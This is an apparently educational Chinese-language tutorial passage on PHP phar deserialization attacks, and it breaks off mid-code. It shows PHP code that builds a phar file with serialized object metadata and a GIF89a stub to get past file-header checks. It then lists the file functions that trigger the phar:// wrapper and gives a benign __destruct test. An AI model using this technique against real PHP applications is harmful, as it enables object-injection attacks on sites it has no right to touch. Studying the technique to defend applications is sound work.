0x00前言
在php中反序列漏洞,形成的原因首先需要一个unserialize()函数来处理我们传入的可控的序列化payload。但是如果对unserialize()传入的内容进行限制,甚至就不存在可利用的unserialize()函数的时候,就可以借助phar协议触发反序列化操作了
0x01 构造有反序列化payload的phar文件
首先,phar是一种php语言的文件的后缀,所以生成phar文件要用到php语言,需要在php.ini中开启相应的配置
phar.readonly = Off
生成phar文件的代码如下
//反序列化payload构造
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
//设置stub,GIF89a可以改成其他的字段,绕过文件头检验,但必须以 __HALT_COMPILER(); ?> 结尾
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
//将反序列化的对象放入该文件中
$o = new TestObject();
$o->data='just a test';
$phar->setMetadata($o);
//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
尝试一下,生成带有payload的文件
简单的说下phar文件格式
phar文件头的识别格式是xxx + <?php __HALT_COMPILER(); ?>,只有这样的格式才能被识别为phar文件
phar是压缩文件,那么压缩文件的信息就会存在第二段manifest describing,这一段是放序列化的poc
压缩的文件的内容被存在第三段,也就是上面payload的中的text.txt
数字签名为该phar的第四段
了解phar文件格式,主要注意的点有2个,文件头的合法性和压缩文件信息处可自定义我们的payload
0x02 可触发phar协议的函数
利用一个漏洞,最初要知道payload从哪里传入,是哪个函数造成的,而php函数中支持伪协议的有很多,下面这张表就是能解析phar协议的函数(用一下别人的图)
这些函数里面可以使用phar协议,当然还有常用的文件包含的几个函数 include、include_once、requrie、require_once
做一个简单的测试
class TestObject{
function __destruct(){
echo $this->data;
}
}
include "phar://phar.phar/test.txt";
?>
同理,使用unlink()函数试试
class TestObject{
function __destruct(){
echo $t